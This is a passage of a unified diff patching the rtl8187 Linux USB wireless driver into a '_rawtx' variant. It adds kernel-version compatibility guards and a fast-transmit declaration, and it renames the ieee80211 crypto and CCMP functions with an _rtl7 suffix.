usb_deregister(&rtl8187_usb_driver); - - rtl8180_proc_module_remove(); - DMESG("Exiting"); -} - - -void rtl8180_try_wake_queue(struct net_device *dev, int pri) -{ - unsigned long flags; - short enough_desc; - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - spin_lock_irqsave(&priv->tx_lock,flags); - enough_desc = check_nic_enought_desc(dev,pri); - spin_unlock_irqrestore(&priv->tx_lock,flags); - - if(enough_desc) - ieee80211_wake_queue(priv->ieee80211); -} - - - -/*************************************************************************** - ------------------- module init / exit stubs ---------------- -****************************************************************************/ -module_init(rtl8187_usb_module_init); -module_exit(rtl8187_usb_module_exit); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h 2006-06-06 08:48:10.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h 2008-01-30 17:38:11.000000000 +0100 @@ -1,17 +1,17 @@ -/* +/* This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 + Copyright (C) Andrea Merello 2004-2005 Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the + + Parts of this driver are based on the GPL part of the official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton + + Parts of this driver are based on the rtl8180 driver skeleton from Patric Schenke & Andres Salomon - + Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper + + We want to tanks the Authors of those projects and the Ndiswrapper project Authors. */ @@ -26,7 +26,6 @@ #include #include -#include #include #include #include @@ -47,6 +46,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #define EPROM_93c46 0 @@ -68,7 +73,7 @@ { struct buffer *next; u32 *buf; - + } buffer; #if 0 @@ -123,18 +128,18 @@ short epromtype; int irq; struct ieee80211_device *ieee80211; - + short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ short enable_gpio0; enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; short hw_plcp_len; - + // spinlock_t irq_lock; // spinlock_t irq_th_lock; spinlock_t tx_lock; - + u16 irq_mask; // short irq_enabled; struct net_device *dev; @@ -143,13 +148,17 @@ short max_sens; u8 chtxpwr[15]; //channels from 1 to 14, 0 not used u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_orig[15]; //channels from 1 to 14, 0 not used + u8 chtxpwr_ofdm_orig[15]; //channels from 1 to 14, 0 not used u8 cck_txpwr_base; u8 ofdm_txpwr_base; + u8 txpwr_max; u8 challow[15]; //channels from 1 to 14, 0 not used short up; short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - + short prism_hdr; + short fasttx; + // struct timer_list scan_timer; /*short scanpending; short stopscan;*/ @@ -158,7 +167,7 @@ //u8 active_scan_num; struct semaphore wx_sem; // short hw_wep; - + // short digphy; // short antb; // short diversity; @@ -171,31 +180,31 @@ void (*rf_close)(struct net_device *dev); void (*rf_init)(struct net_device *dev); //short rate; - short promisc; + short promisc; /*stats*/ struct Stats stats; struct iw_statistics wstats; struct proc_dir_entry *dir_dev; - + /*RX stuff*/ // u32 *rxring; // u32 *rxringtail; // dma_addr_t rxringdma; struct urb **rx_urb; - + //struct buffer *rxbuffer; //struct buffer *rxbufferhead; //int rxringcount; //u16 rxbuffersize; - - //struct sk_buff *rx_skb; + + //struct sk_buff *rx_skb; //short rx_skb_complete; //u32 rx_prevlen; atomic_t tx_lp_pending; atomic_t tx_np_pending; -#if 0 +#if 0 /*TX stuff*/ u32 *txlpring; u32 *txhpring; @@ -225,7 +234,7 @@ struct urb *rxurb_task; // u8 dma_poll_mask; //short tx_suspend; - + /* adhoc/master mode stuff */ #if 0 u32 *txbeacontail; @@ -239,22 +248,23 @@ //u16 master_beaconinterval; // u32 master_beaconsize; //u16 beacon_interval; - + u8 retry_data; u8 retry_rts; - + struct work_struct reset_wq; - + }r8180_priv; -typedef enum{ +typedef enum{ LOW_PRIORITY , - NORM_PRIORITY + NORM_PRIORITY } priority_t; short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); +short rtl8180_tx_fast(struct net_device *dev,u32* skbuf, int len, short rate); u8 read_nic_byte(struct net_device *dev, int x); u8 read_nic_byte_E(struct net_device *dev, int x); diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ --- rtl8187_linux_26.1010.0622.2006/beta-8187/r8187.h~ 2006-06-06 04:58:02.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.h~ 1970-01-01 01:00:00.000000000 +0100 @@ -1,288 +0,0 @@ -/* - This is part of rtl8187 OpenSource driver. - Copyright (C) Andrea Merello 2004-2005 - Released under the terms of GPL (General Public Licence) - - Parts of this driver are based on the GPL part of the - official realtek driver - - Parts of this driver are based on the rtl8180 driver skeleton - from Patric Schenke & Andres Salomon - - Parts of this driver are based on the Intel Pro Wireless 2100 GPL driver - - We want to tanks the Authors of those projects and the Ndiswrapper - project Authors. -*/ - -#ifndef R8180H -#define R8180H - - -#define RTL8187_MODULE_NAME "rtl8187" -#define DMESG(x,a...) printk(KERN_INFO RTL8187_MODULE_NAME ": " x "\n", ## a) -#define DMESGW(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": WW:" x "\n", ## a) -#define DMESGE(x,a...) printk(KERN_WARNING RTL8187_MODULE_NAME ": EE:" x "\n", ## a) - -#include -#include -#include -#include -#include -#include -#include -#include -#include -//#include -#include -#include -#include -#include //for rtnl_lock() -#include -#include -#include // Necessary because we use the proc fs -#include -#include -#include -#include -#include - -#include "ieee80211.h" - -#define EPROM_93c46 0 -#define EPROM_93c56 1 - -#define DEFAULT_FRAG_THRESHOLD 2342U -#define MIN_FRAG_THRESHOLD 256U -#define DEFAULT_BEACONINTERVAL 0x64U -#define DEFAULT_BEACON_ESSID "Rtl8187" - -#define DEFAULT_SSID "" -#define DEFAULT_RETRY_RTS 7 -#define DEFAULT_RETRY_DATA 7 -#define PRISM_HDR_SIZE 64 - -#define RTL_IOCTL_WPA_SUPPLICANT SIOCIWFIRSTPRIV+30 - -typedef struct buffer -{ - struct buffer *next; - u32 *buf; - -} buffer; - -#if 0 - -typedef struct tx_pendingbuf -{ - struct ieee80211_txb *txb; - short ispending; - short descfrag; -} tx_pendigbuf; - -#endif - -typedef struct Stats -{ - unsigned long txrdu; -// unsigned long rxrdu; - //unsigned long rxnolast; - //unsigned long rxnodata; -// unsigned long rxreset; -// unsigned long rxwrkaround; -// unsigned long rxnopointer; - unsigned long rxok; - unsigned long rxurberr; - unsigned long rxstaterr; - unsigned long txnperr; - unsigned long txnpdrop; - unsigned long txresumed; -// unsigned long rxerr; -// unsigned long rxoverflow; -// unsigned long rxint; - unsigned long txnpokint; -// unsigned long txhpokint; -// unsigned long txhperr; -// unsigned long ints; -// unsigned long shints; - unsigned long txoverflow; -// unsigned long rxdmafail; -// unsigned long txbeacon; -// unsigned long txbeaconerr; - unsigned long txlpokint; - unsigned long txlpdrop; - unsigned long txlperr; - unsigned long txdatapkt; -} Stats; - - - -typedef struct r8180_priv -{ - struct usb_device *udev; - short epromtype; - int irq; - struct ieee80211_device *ieee80211; - - short card_8185; /* O: rtl8180, 1:rtl8185 V B/C, 2:rtl8185 V D */ - short card_8185_Bversion; /* if TCR reports card V B/C this discriminates */ - short phy_ver; /* meaningful for rtl8225 1:A 2:B 3:C */ - short enable_gpio0; - enum card_type {PCI,MINIPCI,CARDBUS,USB/*rtl8187*/}card_type; - short hw_plcp_len; - -// spinlock_t irq_lock; -// spinlock_t irq_th_lock; - spinlock_t tx_lock; - - u16 irq_mask; -// short irq_enabled; - struct net_device *dev; - short chan; - short sens; - short max_sens; - u8 chtxpwr[15]; //channels from 1 to 14, 0 not used - u8 chtxpwr_ofdm[15]; //channels from 1 to 14, 0 not used - u8 cck_txpwr_base; - u8 ofdm_txpwr_base; - u8 challow[15]; //channels from 1 to 14, 0 not used - short up; - short crcmon; //if 1 allow bad crc frame reception in monitor mode -// short prism_hdr; - -// struct timer_list scan_timer; - /*short scanpending; - short stopscan;*/ -// spinlock_t scan_lock; -// u8 active_probe; - //u8 active_scan_num; - struct semaphore wx_sem; -// short hw_wep; - -// short digphy; -// short antb; -// short diversity; -// u8 cs_treshold; -// short rcr_csense; - short rf_chip; -// u32 key0[4]; - short (*rf_set_sens)(struct net_device *dev,short sens); - void (*rf_set_chan)(struct net_device *dev,short ch); - void (*rf_close)(struct net_device *dev); - void (*rf_init)(struct net_device *dev); - //short rate; - short promisc; - /*stats*/ - struct Stats stats; - struct iw_statistics wstats; - struct proc_dir_entry *dir_dev; - - /*RX stuff*/ -// u32 *rxring; -// u32 *rxringtail; -// dma_addr_t rxringdma; - struct urb **rx_urb; - - //struct buffer *rxbuffer; - //struct buffer *rxbufferhead; - //int rxringcount; - //u16 rxbuffersize; - - //struct sk_buff *rx_skb; - - //short rx_skb_complete; - - //u32 rx_prevlen; - atomic_t tx_lp_pending; - atomic_t tx_np_pending; -#if 0 - /*TX stuff*/ - u32 *txlpring; - u32 *txhpring; - u32 *txnpring; - dma_addr_t txlpringdma; - dma_addr_t txhpringdma; - dma_addr_t txnpringdma; - u32 *txlpringtail; - u32 *txhpringtail; - u32 *txnpringtail; - u32 *txlpringhead; - u32 *txhpringhead; - u32 *txnpringhead; - struct buffer *txlpbufs; - struct buffer *txhpbufs; - struct buffer *txnpbufs; - struct buffer *txlpbufstail; - struct buffer *txhpbufstail; - struct buffer *txnpbufstail; - int txringcount; - int txbuffsize; - - //struct tx_pendingbuf txnp_pending; - struct tasklet_struct irq_tx_tasklet; -#endif -// struct tasklet_struct irq_rx_tasklet; -// u8 dma_poll_mask; - //short tx_suspend; - - /* adhoc/master mode stuff */ -#if 0 - u32 *txbeacontail; - dma_addr_t txbeaconringdma; - u32 *txbeaconring; - int txbeaconcount; -#endif -// struct ieee_tx_beacon *beacon_buf; - //char *master_essid; -// dma_addr_t beacondmabuf; - //u16 master_beaconinterval; -// u32 master_beaconsize; - //u16 beacon_interval; - - u8 retry_data; - u8 retry_rts; - - struct work_struct reset_wq; - -}r8180_priv; - - -typedef enum{ - LOW_PRIORITY , - NORM_PRIORITY - } priority_t; - - -short rtl8180_tx(struct net_device *dev,u32* skbuf, int len,priority_t priority,short morefrag,short rate); - -u8 read_nic_byte(struct net_device *dev, int x); -u8 read_nic_byte_E(struct net_device *dev, int x); -u32 read_nic_dword(struct net_device *dev, int x); -u16 read_nic_word(struct net_device *dev, int x) ; -void write_nic_byte(struct net_device *dev, int x,u8 y); -void write_nic_byte_E(struct net_device *dev, int x,u8 y); -void write_nic_word(struct net_device *dev, int x,u16 y); -void write_nic_dword(struct net_device *dev, int x,u32 y); -void force_pci_posting(struct net_device *dev); - -void rtl8180_rtx_disable(struct net_device *); -void rtl8180_rx_enable(struct net_device *); -void rtl8180_tx_enable(struct net_device *); - -void rtl8180_disassociate(struct net_device *dev); -//void fix_rx_fifo(struct net_device *dev); -void rtl8185_set_rf_pins_enable(struct net_device *dev,u32 a); - -void rtl8180_set_anaparam(struct net_device *dev,u32 a); -void rtl8185_set_anaparam2(struct net_device *dev,u32 a); -void rtl8180_update_msr(struct net_device *dev); -int rtl8180_down(struct net_device *dev); -int rtl8180_up(struct net_device *dev); -void rtl8180_commit(struct net_device *dev); -void rtl8180_set_chan(struct net_device *dev,short ch); -void write_phy(struct net_device *dev, u8 adr, u8 data); -void write_phy_cck(struct net_device *dev, u8 adr, u32 data); -void write_phy_ofdm(struct net_device *dev, u8 adr, u32 data); -void rtl8185_tx_antenna(struct net_device *dev, u8 ant); -void rtl8187_set_rxconf(struct net_device *dev); -#endif diff -Naur rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod --- rtl8187_linux_26.1010.0622.2006/beta-8187/.tmp_versions/r8187.mod 2006-06-22 07:40:15.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/.tmp_versions/r8187.mod 2008-02-15 00:49:48.000000000 +0100 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187.ko -/usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8187_core.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_93cx6.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_wx.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225.o /usr/rtl8187_linux_26.1010.0619.2006/beta-8187/r8180_rtl8225z2.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8187_core.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_93cx6.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_wx.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225.o /home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/beta-8187/r8180_rtl8225z2.o diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.c 2006-06-06 04:57:56.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.c 2008-01-30 17:38:11.000000000 +0100 @@ -11,7 +11,6 @@ * */ -#include #include #include #include @@ -19,6 +18,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_AUTHOR("Jouni Malinen"); @@ -38,7 +43,7 @@ static struct ieee80211_crypto *hcrypt; -void ieee80211_crypt_deinit_entries(struct ieee80211_device *ieee, +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *ieee, int force) { struct list_head *ptr, *n; @@ -61,13 +66,13 @@ } } -void ieee80211_crypt_deinit_handler(unsigned long data) +void ieee80211_crypt_deinit_handler_rtl7(unsigned long data) { struct ieee80211_device *ieee = (struct ieee80211_device *)data; unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - ieee80211_crypt_deinit_entries(ieee, 0); + ieee80211_crypt_deinit_entries_rtl7(ieee, 0); if (!list_empty(&ieee->crypt_deinit_list)) { printk(KERN_DEBUG "%s: entries remaining in delayed crypt " "deletion list\n", ieee->dev->name); @@ -78,7 +83,7 @@ } -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt) { struct ieee80211_crypt_data *tmp; @@ -103,7 +108,7 @@ spin_unlock_irqrestore(&ieee->lock, flags); } -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct ieee80211_crypto_alg *alg; @@ -128,7 +133,7 @@ return 0; } -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops) +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops) { unsigned long flags; struct list_head *ptr; @@ -159,7 +164,7 @@ } -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name) +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name) { unsigned long flags; struct list_head *ptr; @@ -186,13 +191,13 @@ } -static void * ieee80211_crypt_null_init(int keyidx) { return (void *) 1; } -static void ieee80211_crypt_null_deinit(void *priv) {} +static void * ieee80211_crypt_null_init_rtl7(int keyidx) { return (void *) 1; } +static void ieee80211_crypt_null_deinit_rtl7(void *priv) {} static struct ieee80211_crypto_ops ieee80211_crypt_null = { .name = "NULL", - .init = ieee80211_crypt_null_init, - .deinit = ieee80211_crypt_null_deinit, + .init = ieee80211_crypt_null_init_rtl7, + .deinit = ieee80211_crypt_null_deinit_rtl7, .encrypt_mpdu = NULL, .decrypt_mpdu = NULL, .encrypt_msdu = NULL, @@ -205,7 +210,7 @@ }; -static int __init ieee80211_crypto_init(void) +static int __init ieee80211_crypto_init_rtl7(void) { int ret = -ENOMEM; @@ -217,7 +222,7 @@ INIT_LIST_HEAD(&hcrypt->algs); spin_lock_init(&hcrypt->lock); - ret = ieee80211_register_crypto_ops(&ieee80211_crypt_null); + ret = ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_null); if (ret < 0) { kfree(hcrypt); hcrypt = NULL; @@ -227,7 +232,7 @@ } -static void __exit ieee80211_crypto_deinit(void) +static void __exit ieee80211_crypto_deinit_rtl7(void) { struct list_head *ptr, *n; @@ -247,13 +252,13 @@ kfree(hcrypt); } -EXPORT_SYMBOL(ieee80211_crypt_deinit_entries); -EXPORT_SYMBOL(ieee80211_crypt_deinit_handler); -EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit); - -EXPORT_SYMBOL(ieee80211_register_crypto_ops); -EXPORT_SYMBOL(ieee80211_unregister_crypto_ops); -EXPORT_SYMBOL(ieee80211_get_crypto_ops); +EXPORT_SYMBOL(ieee80211_crypt_deinit_entries_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_deinit_handler_rtl7); +EXPORT_SYMBOL(ieee80211_crypt_delayed_deinit_rtl7); + +EXPORT_SYMBOL(ieee80211_register_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_unregister_crypto_ops_rtl7); +EXPORT_SYMBOL(ieee80211_get_crypto_ops_rtl7); -module_init(ieee80211_crypto_init); -module_exit(ieee80211_crypto_deinit); +module_init(ieee80211_crypto_init_rtl7); +module_exit(ieee80211_crypto_deinit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt_ccmp.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.c 2008-01-30 17:38:11.000000000 +0100 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -22,11 +21,22 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include + +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: CCMP"); @@ -51,7 +61,11 @@ int key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm; +#else + struct crypto_cipher *tfm; +#endif /* scratch buffers for virt_to_page() (crypto API) */ u8 tx_b0[AES_BLOCK_LEN], tx_b[AES_BLOCK_LEN], @@ -59,7 +73,8 @@ u8 rx_b0[AES_BLOCK_LEN], rx_b[AES_BLOCK_LEN], rx_a[AES_BLOCK_LEN]; }; -void ieee80211_ccmp_aes_encrypt(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_tfm *tfm, const u8 pt[16], u8 ct[16]) { struct scatterlist src, dst; @@ -74,8 +89,15 @@ crypto_cipher_encrypt(tfm, &dst, &src, AES_BLOCK_LEN); } +#else +static inline void ieee80211_ccmp_aes_encrypt_rtl7(struct crypto_cipher *tfm, + const u8 pt[16], u8 ct[16]) +{ + crypto_cipher_encrypt_one(tfm, ct, pt); +} +#endif -static void * ieee80211_ccmp_init(int key_idx) +static void * ieee80211_ccmp_init_rtl7(int key_idx) { struct ieee80211_ccmp_data *priv; @@ -85,19 +107,33 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = key_idx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) priv->tfm = crypto_alloc_tfm("aes", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " "crypto API aes\n"); goto fail; } +#else + priv->tfm = crypto_alloc_cipher("aes", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_ccmp: could not allocate " + "crypto API aes\n"); + priv->tfm = NULL; + goto fail; + } +#endif return priv; fail: if (priv) { if (priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(priv->tfm); +#else + crypto_free_cipher(priv->tfm); +#endif kfree(priv); } @@ -105,16 +141,20 @@ } -static void ieee80211_ccmp_deinit(void *priv) +static void ieee80211_ccmp_deinit_rtl7(void *priv) { struct ieee80211_ccmp_data *_priv = priv; if (_priv && _priv->tfm) +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_free_tfm(_priv->tfm); +#else + crypto_free_cipher(_priv->tfm); +#endif kfree(priv); } -static inline void xor_block(u8 *b, u8 *a, size_t len) +static inline void xor_block_rtl7(u8 *b, u8 *a, size_t len) { int i; for (i = 0; i < len; i++) @@ -122,7 +162,11 @@ } -static void ccmp_init_blocks(struct crypto_tfm *tfm, +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +static void ccmp_init_blocks_rtl7(struct crypto_tfm *tfm, +#else +static void ccmp_init_blocks_rtl7(struct crypto_cipher *tfm, +#endif struct ieee80211_hdr *hdr, u8 *pn, size_t dlen, u8 *b0, u8 *auth, u8 *s0) @@ -186,18 +230,18 @@ } /* Start with the first block and AAD */ - ieee80211_ccmp_aes_encrypt(tfm, b0, auth); - xor_block(auth, aad, AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); - xor_block(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); - ieee80211_ccmp_aes_encrypt(tfm, auth, auth); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, auth); + xor_block_rtl7(auth, aad, AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); + xor_block_rtl7(auth, &aad[AES_BLOCK_LEN], AES_BLOCK_LEN); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, auth, auth); b0[0] &= 0x07; b0[14] = b0[15] = 0; - ieee80211_ccmp_aes_encrypt(tfm, b0, s0); + ieee80211_ccmp_aes_encrypt_rtl7(tfm, b0, s0); } -static int ieee80211_ccmp_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; int data_len, i, blocks, last, len; @@ -237,7 +281,7 @@ *pos++ = key->tx_pn[0]; hdr = (struct ieee80211_hdr *) skb->data; - ccmp_init_blocks(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); + ccmp_init_blocks_rtl7(key->tfm, hdr, key->tx_pn, data_len, b0, b, s0); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -245,13 +289,13 @@ for (i = 1; i <= blocks; i++) { len = (i == blocks && last) ? last : AES_BLOCK_LEN; /* Authentication */ - xor_block(b, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, b, b); + xor_block_rtl7(b, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b, b); /* Encryption, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, e); - xor_block(pos, e, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, e); + xor_block_rtl7(pos, e, len); pos += len; } @@ -262,7 +306,7 @@ } -static int ieee80211_ccmp_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int ieee80211_ccmp_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct ieee80211_ccmp_data *key = priv; u8 keyidx, *pos; @@ -326,8 +370,8 @@ return -4; } - ccmp_init_blocks(key->tfm, hdr, pn, data_len, b0, a, b); - xor_block(mic, b, CCMP_MIC_LEN); + ccmp_init_blocks_rtl7(key->tfm, hdr, pn, data_len, b0, a, b); + xor_block_rtl7(mic, b, CCMP_MIC_LEN); blocks = (data_len + AES_BLOCK_LEN - 1) / AES_BLOCK_LEN; last = data_len % AES_BLOCK_LEN; @@ -337,11 +381,11 @@ /* Decrypt, with counter */ b0[14] = (i >> 8) & 0xff; b0[15] = i & 0xff; - ieee80211_ccmp_aes_encrypt(key->tfm, b0, b); - xor_block(pos, b, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, b0, b); + xor_block_rtl7(pos, b, len); /* Authentication */ - xor_block(a, pos, len); - ieee80211_ccmp_aes_encrypt(key->tfm, a, a); + xor_block_rtl7(a, pos, len); + ieee80211_ccmp_aes_encrypt_rtl7(key->tfm, a, a); pos += len; } @@ -365,11 +409,15 @@ } -static int ieee80211_ccmp_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = data->tfm; +#else + struct crypto_cipher *tfm = data->tfm; +#endif keyidx = data->key_idx; memset(data, 0, sizeof(*data)); @@ -396,7 +444,7 @@ } -static int ieee80211_ccmp_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_ccmp_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_ccmp_data *data = priv; @@ -420,7 +468,7 @@ } -static char * ieee80211_ccmp_print_stats(char *p, void *priv) +static char * ieee80211_ccmp_print_stats_rtl7(char *p, void *priv) { struct ieee80211_ccmp_data *ccmp = priv; p += sprintf(p, "key[%d] alg=CCMP key_set=%d " @@ -437,34 +485,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_ccmp = { +static struct ieee80211_crypto_ops ieee80211_crypt_ccmp_rtl7 = { .name = "CCMP", - .init = ieee80211_ccmp_init, - .deinit = ieee80211_ccmp_deinit, - .encrypt_mpdu = ieee80211_ccmp_encrypt, - .decrypt_mpdu = ieee80211_ccmp_decrypt, + .init = ieee80211_ccmp_init_rtl7, + .deinit = ieee80211_ccmp_deinit_rtl7, + .encrypt_mpdu = ieee80211_ccmp_encrypt_rtl7, + .decrypt_mpdu = ieee80211_ccmp_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = ieee80211_ccmp_set_key, - .get_key = ieee80211_ccmp_get_key, - .print_stats = ieee80211_ccmp_print_stats, + .set_key = ieee80211_ccmp_set_key_rtl7, + .get_key = ieee80211_ccmp_get_key_rtl7, + .print_stats = ieee80211_ccmp_print_stats_rtl7, .extra_prefix_len = CCMP_HDR_LEN, .extra_postfix_len = CCMP_MIC_LEN, .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_ccmp_init(void) +static int __init ieee80211_crypto_ccmp_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_ccmp); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -static void __exit ieee80211_crypto_ccmp_exit(void) +static void __exit ieee80211_crypto_ccmp_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_ccmp); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_ccmp_rtl7); } -module_init(ieee80211_crypto_ccmp_init); -module_exit(ieee80211_crypto_ccmp_exit); +module_init(ieee80211_crypto_ccmp_init_rtl7); +module_exit(ieee80211_crypto_ccmp_exit_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h --- rtl8187_linux_26.1010.0622.2006/ieee80211/ieee80211_crypt.h 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.h 2008-01-30 17:38:11.000000000 +0100 @@ -75,12 +75,12 @@ atomic_t refcnt; }; -int ieee80211_register_crypto_ops(struct ieee80211_crypto_ops *ops); -int ieee80211_unregister_crypto_ops(struct ieee80211_crypto_ops *ops); -struct ieee80211_crypto_ops * ieee80211_get_crypto_ops(const char *name); -void ieee80211_crypt_deinit_entries(struct ieee80211_device *, int); -void ieee80211_crypt_deinit_handler(unsigned long); -void ieee80211_crypt_delayed_deinit(struct ieee80211_device *ieee, +int ieee80211_register_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +int ieee80211_unregister_crypto_ops_rtl7(struct ieee80211_crypto_ops *ops); +struct ieee80211_crypto_ops * ieee80211_get_crypto_ops_rtl7(const char *name); +void ieee80211_crypt_deinit_entries_rtl7(struct ieee80211_device *, int); +void ieee80211_crypt_deinit_handler_rtl7(unsigned long); +void ieee80211_crypt_delayed_deinit_rtl7(struct ieee80211_device *ieee, struct ieee80211_crypt_data **crypt); #endif diff -Naur 